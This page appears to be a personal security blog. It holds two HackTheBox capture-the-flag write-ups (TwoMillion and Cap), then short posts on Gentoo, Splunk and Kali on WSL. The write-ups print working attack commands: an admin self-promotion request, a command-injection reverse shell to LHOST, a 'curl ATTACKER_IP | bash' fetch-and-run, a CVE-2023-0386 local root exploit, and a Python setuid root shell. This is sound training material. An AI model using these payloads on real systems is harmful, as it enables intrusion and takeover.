HackTheBox: TwoMillion Writeup

PlatformHackTheBox
DifficultyEasy
OSLinux (Ubuntu 22.04 Jammy)
Target IPTARGET_IP
Date2026-11-05
Tagsweb, api, invite-code, auth bypass, command injection, privesc

TL;DR

TwoMillion is a clone of the old Hack The Box registration site. I remember I did it back in the days to register to HTB. The intended entry is to “hack the invite process”: an obfuscated JS file reveals API endpoints, a
self-documenting endpoint explains (in ROT13) how to generate an invite code, and the
generated code (base64) lets us register. Authenticated, the /api/v1 route list
exposes an admin group. A mass-assignment bug in PUT /api/v1/admin/settings/update
lets a normal user set is_admin=1 on their own account. As admin, the
POST /api/v1/admin/vpn/generate endpoint is vulnerable to blind OS command
injection
via the username parameter, giving a shell as the web user.
Reading the web root’s .env yields DB credentials reused by the admin system user
(SSH), and admin escalates to root via CVE-2023-0386 (OverlayFS/FUSE copy-up of a
setuid binary) on the box’s vulnerable 5.15 kernel.


Reconnaissance

Full TCP scan found only SSH and HTTP; the web server redirects to the vhost
2million.htb, which was added to /etc/hosts.

nmap -sT -p- --min-rate 2000 -T4 TARGET_IP
nmap -sT -sV -sC -p22,80 TARGET_IP
  • 22/tcp — OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (→ Ubuntu 22.04 Jammy)
  • 80/tcp — nginx, redirects http://TARGET_IP/ → http://2million.htb/

Enumeration

Content discovery confirmed the app layout (an API-driven clone of the old HTB site):

feroxbuster -u http://2million.htb -w /usr/share/feroxbuster/raft-medium-directories.txt -t 50
StatusPathMeaning
200/login, /register, /invitepublic pages
302/home, /logoutauth-gated
401/apineeds authentication
405/api/v1/user/login, /api/v1/user/register, /api/v1/invite/verifyPOST-only endpoints

Initial Access / Foothold

1. Hack the invite process

The /invite page loads an obfuscated script (/js/inviteapi.min.js) packed with the
Dean Edwards p,a,c,k,e,d packer. Unpacked, it reveals two functions and endpoints:

function verifyInviteCode(code){ /* POST /api/v1/invite/verify */ }
function makeInviteCode(){        /* POST /api/v1/invite/how/to/generate */ }

The “how to generate” endpoint returns a ROT13-encoded hint:

curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | jq .
# data (ROT13): "Va beqre gb trarengr ... /ncv/i1/vaivgr/trarengr"
#   -> decodes to: make a POST request to /api/v1/invite/generate

Generate the code (returned base64-encoded), then register and log in:

curl -s -X POST http://2million.htb/api/v1/invite/generate
#   {"data":{"code":"<base64>","format":"encoded"}}
echo '<base64>' | base64 -d    # -> usable invite code

Register through the browser /invite -> /register flow (sends the exact fields
the backend expects), then log in. Login takes email, not username.

2. Privilege escalation inside the app (mass assignment)

The authenticated route list exposes an admin group:

curl -s http://2million.htb/api/v1 -H "Cookie: PHPSESSID=<session>" | jq .
GET  /api/v1/admin/auth            -> Check if user is admin
POST /api/v1/admin/vpn/generate    -> Generate VPN for specific user
PUT  /api/v1/admin/settings/update -> Update user settings

PUT /api/v1/admin/settings/update does not verify the caller is already an admin and
accepts an is_admin field from the request body (JSON). A normal user promotes
themselves:

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
  -H "Cookie: PHPSESSID=<session>" -H "Content-Type: application/json" \
  -d '{"email":"<your-email>","is_admin":1}'
# -> {"id":...,"username":"...","is_admin":1}

curl -s http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=<session>"
# -> {"message":true}

3. Blind OS command injection -> shell

POST /api/v1/admin/vpn/generate (parameter username) builds a VPN config by shelling
out with the username unsanitized. Output is not reflected (the response is the generated
.ovpn file), but injection executes — confirmed with a time-based test:

# baseline ~0.6s ; with ;sleep 5; the response takes ~10s (username used twice)
curl -s -o /dev/null -w "%{time_total}\n" -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -H "Cookie: PHPSESSID=<session>" -H "Content-Type: application/json" \
  -d '{"username":";sleep 5;"}'

Reverse shell (payload base64-encoded to survive the JSON/shell layers):

# listener on attacker:  nc -lvnp 4444
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -H "Cookie: PHPSESSID=<session>" -H "Content-Type: application/json" \
  -d '{"username":"; echo <b64 of: bash -i >& /dev/tcp/LHOST/LPORT 0>&1> | base64 -d | bash ;"}'

Lands a shell as the web user www-data.

Privilege Escalation

1. www-data -> admin (credential reuse via .env)

The web root holds a database config readable by www-data:

cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=<redacted>

user.txt in /home/admin/ is mode 640 owned root:admin, so www-data cannot read
it. The DB password is reused for the admin system account, which logs in over SSH:

ssh [email protected]      # same password as DB_PASSWORD
cat ~/user.txt

2. admin -> root (CVE-2023-0386, OverlayFS/FUSE)

admin has no sudo rights, but a mail in the spool names the intended vector:

cat /var/mail/admin
# Subject: Urgent: Patch System OS ... "That one in OverlayFS / FUSE looks nasty."
uname -r
# 5.15.70-051570-generic   (vulnerable; fixed in 6.2)

CVE-2023-0386 is a local privesc in OverlayFS: a setuid binary served from a FUSE
mount keeps its setuid bit when OverlayFS copies it “up” to a normal filesystem, so an
unprivileged user can obtain a root-owned setuid shell. The box ships the full toolchain
(gcc, make, libcap-dev), so the public PoC compiles on-target:

# PoC: github.com/xkaneiki/CVE-2023-0386 (transferred over the VPN, compiled on the box)
make all          # builds fuse, exp, gc

The exploit needs two shells. In the first, start the FUSE mount that serves the
setuid gc binary and leave it running:

# shell 1 (open a second SSH session as admin)
./fuse ./ovlcap/lower ./gc
# stays in the foreground: "f_name: ..." then blocks while mounted

In the second shell, trigger the OverlayFS copy-up, which preserves the setuid bit and
drops a root shell:

# shell 2
./exp
# uid:1000 gid:1000
# [+] mount success
# [+] exploit success!   ->  root shell
id                 # uid=0(root)
cat /root/root.txt

Post-Root: the thank_you.json easter egg

/root/ holds a thank_you.json with no flag value, just a message hidden under three
nested layers. The outer object names each layer, so you peel them in order: URL decode,
then hex decode, then base64 decode and XOR against the key HackTheBox (the inner key is
misspelled encrpytion_key on the box).

import json, urllib.parse, base64
o = json.load(open("/root/thank_you.json"))
o = json.loads(urllib.parse.unquote(o["data"]))     # url   -> json
o = json.loads(bytes.fromhex(o["data"]).decode())   # hex   -> json
b = base64.b64decode(o["data"]); k = b"HackTheBox"   # base64 -> bytes
print(bytes(c ^ k[i % len(k)] for i, c in enumerate(b)).decode())

It decodes to a thank-you letter from the Hack The Box team marking the platform reaching
2 million users (the box’s namesake):

Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together […] we celebrate the achievement of reaching 2 million remarkable users […]

With deepest gratitude,
The HackTheBox Team

References

  • Dean Edwards JS packer (p,a,c,k,e,d), client-side obfuscation.
  • CVE-2023-0386, OverlayFS copy-up setuid local privilege escalation (fixed in Linux 6.2).
    PoC: github.com/xkaneiki/CVE-2023-0386.
  • HTB TwoMillion (retired check required before publishing, see note below).

Note on process: the note-taking and documentation for this write-up were done with the help of an LLM to save time. All the actual work (solving the challenge, running the tools, obtaining the flags) was done by a human behind the keyboard.

HackTheBox: Cap Writeup

PlatformHackTheBox
DifficultyEasy
OSLinux
Tagsweb, idor, pcap, ftp, linux-capabilities, privesc

TL;DR

Cap runs a Flask “Security Dashboard” that lets you trigger a network capture and then serves the result at /data/<id>. The id is sequential and the app never checks ownership, so walking back to /data/0 hands you an older capture that contains an FTP login in cleartext. Those credentials log straight in over SSH as nathan. For root, the /usr/bin/python3.8 binary carries the cap_setuid capability, which lets an unprivileged user call setuid(0) and spawn a root shell.


Reconnaissance

Start with a full TCP port sweep, then a service scan on whatever comes back open.

# Full port discovery
nmap -p- --min-rate 1000 -T4 -Pn TARGET_IP

# Service/version detail on the open ports
nmap -p 21,22,80 -sC -sV TARGET_IP

Three services are exposed:

PortServiceNotes
21FTP (vsftpd)local login allowed
22SSH (OpenSSH)password auth enabled
80HTTPPython Flask app behind Gunicorn

Enumeration

Browsing to http://TARGET_IP/ gives a dashboard titled “Security Dashboard” with a few panels: Dashboard, IP Config, Network Status, and a Security Snapshot action.

Clicking Security Snapshot generates a packet capture and redirects the browser to a path of the form:

/data/<id>

where <id> is the numeric id of the scan just created. That page shows a summary of the capture and offers the raw .pcap for download.

The important observation is the shape of that URL. The id is a small sequential integer, and nothing ties a given id to the user who created it. That is a classic Insecure Direct Object Reference (IDOR): change the id and you read somebody else’s capture.

Initial Access / Foothold

IDOR on /data

Instead of viewing our own freshly created snapshot (a high id with no interesting traffic), we walk the id backwards to the very first capture:

http://TARGET_IP/data/0

Scan 0 is the oldest capture on the box and it is far larger than the empty ones generated on demand. On disk the difference is obvious:

-rw-r--r-- 1 root    root    9935 May 15  2021 /var/www/html/upload/0.pcap
-rw-r--r-- 1 tcpdump tcpdump   24 Nov  4 03:24 /var/www/html/upload/1.pcap
-rw-r--r-- 1 tcpdump tcpdump   24 Nov  4 03:24 /var/www/html/upload/2.pcap
-rw-r--r-- 1 tcpdump tcpdump   24 Nov  4 03:26 /var/www/html/upload/3.pcap

0.pcap holds traffic. The on-demand ones are 24 bytes, basically empty.

Pulling credentials out of the capture

Download 0.pcap and open it in Wireshark. FTP is a cleartext protocol, so the login is sitting right there in the packets. Right click any FTP packet and choose “Follow TCP Stream” to read the control channel in order. The credentials are visible by eye, no scripting needed:

220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS REDACTED
230 Login successful.
SYST
215 UNIX Type: L8

USER nathan followed by the password in the clear.

Logging in

The recovered password is reused for SSH, so we log straight in as nathan.

ssh nathan@TARGET_IP
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
nathan@cap:~$ cat user.txt
REDACTED

Privilege Escalation

nathan cannot use sudo and is not in any interesting group (no sudo, no lxd), so the escalation is not sudo based.

nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.

To sweep for escalation vectors I used linpeas. Rather than write it to disk on the target, I served it from my attacker box and piped it straight into bash over the network.

On the attacker box, serve linpeas (it ships with Kali at /usr/share/peass/linpeas):

cd /usr/share/peass/linpeas && python3 -m http.server 8000

On the target as nathan, pull and run it in memory:

curl -s http://ATTACKER_IP:8000/linpeas.sh | bash

linpeas produces a wall of output. I fed the full report through Claude.ai to parse it and surface the real escalation path, which pointed straight at the Capabilities section:

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

A Linux capability hands a single binary a slice of root’s powers without making it SUID root, and these do not show up in a normal ls -l, which is why a dedicated enumeration pass is what catches them.

/usr/bin/python3.8 carries cap_setuid. The +ep flags mean the capability is effective and permitted the moment the binary runs, so any Python process can legitimately change its own UID. Dropping to UID 0 and spawning a shell is then trivial (this is the GTFOBins “capabilities” technique for Python):

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@cap:/root# cat /root/root.txt
REDACTED

That is root.

Flags

FlagValue
UserREDACTED
RootREDACTED

Flags are redacted for publication. How they were obtained is described above.

Techniques and Lessons Learned

  • IDOR is about authorization, not authentication. The app happily authenticated us, then let us read objects (/data/<id>) that were never ours because it only trusted the id in the URL. Sequential ids make it a one line attack: count down.
  • Cleartext protocols leak everything to anyone who can see the traffic. FTP sent nathan‘s password in the clear, and a stored capture turned that into a credential dump long after the session ended.
  • Linux capabilities are an easy privesc to miss. cap_setuid on an interpreter is as good as SUID root. A full enumeration pass with linpeas flags it in the Capabilities section, where a quick manual SUID search would walk right past it.
  • MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1552.001 (Credentials in Files), T1548.001 (Abuse Elevation Control Mechanism: Setuid/Setgid / capabilities).

References


Note on process: the note taking and documentation for this write-up were done with the help of an LLM to save time. All the actual work (solving the box, running the tools, obtaining the flags) was done by a human behind the keyboard.

Installing Gentoo on VMware workstation 16

First of all…

I got peer pressured into this, I am not doing this out of free will!  Just kidding, in this blog post I will summerize my first journey with Gentoo and how to set it up inside a VM with VMware workstation version 16.  This guide will help you setup a virtual instance of Gentoo and i suggest that you read carefully the Gentoo Handbook to understand what we are going to do here in great detail.

Read more “Installing Gentoo on VMware workstation 16”

How-to monitor your windows machine with splunk

Why use Splunk?

Using Splunk to monitor your computer or vps is free, easy and let you learn about one of the best SIEM tool available on the market (as for now 2022).  In this post I will share some of my personal Splunk configurations and alerts so you can start monitoring what is going on in your windows machine and maybe see things you didn’t before.  So let’s start shall we!

Read more “How-to monitor your windows machine with splunk”

Testing kali linux on windows 10 with WSL

Second try :
Kali can be found directly on the windows store. This version is much more stable than the one i tried to patch from ubuntu with the git repo in my first try.

Some usefull tweeks can be found here : https://www.kali.org/news/kali-linux-in-the-windows-app-store/

Everything is working well for now.

Edit 1 )
To make nmap work, install it on windows and make an alias :

[code]alias nmap=’"/mnt/c/Program Files (x86)/Nmap/nmap.exe"'[/code]
https://medium.com/@the4rchangel/nmap-in-the-windows-bash-shell-64cadff1a689

M.

FIRST TRY :
This version is not stable.

WSL stand for windows subsystem for linux

its a kindof native port for linux inside windows. not like emulation, it share the ressources directly from windows to run linux binaries.

To repare fuckedup things at first do those :

To fix error of expired cert. when trying to use apt-get command just do this :

wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.1_all.deb
apt install ./kali-archive-keyring_2018.1_all.deb
apt-get update

To fix error when you are not able to resolve address (aka dns is fuckedup)
just edit /etc/resolv.conf and add your favorite dns aka 1.1.1.1 or 8.8.8.8

after do an apt update && apt upgrade

Ref.
https://www.zdnet.com/article/windows-subsystem-for-linux-graduates-in-windows-10-fall-creators-update/

Kali Linux on Windows Subsystem for Linux

A journey into Windows pentesting.

I did root many windows rig in the last week.  You can practice your skill too, just go to hackthebox.eu.  Here i will not tell you how specificity root those vulnerable windows os, i just want to keep some of the basics that i learned from this.

As expected the info gathering is the same nmap nikto dirb etc.

The windows command line, as i am used to unix bash this command line was like Korean to me.

Here are the basic commands that are useful : Read more “A journey into Windows pentesting.”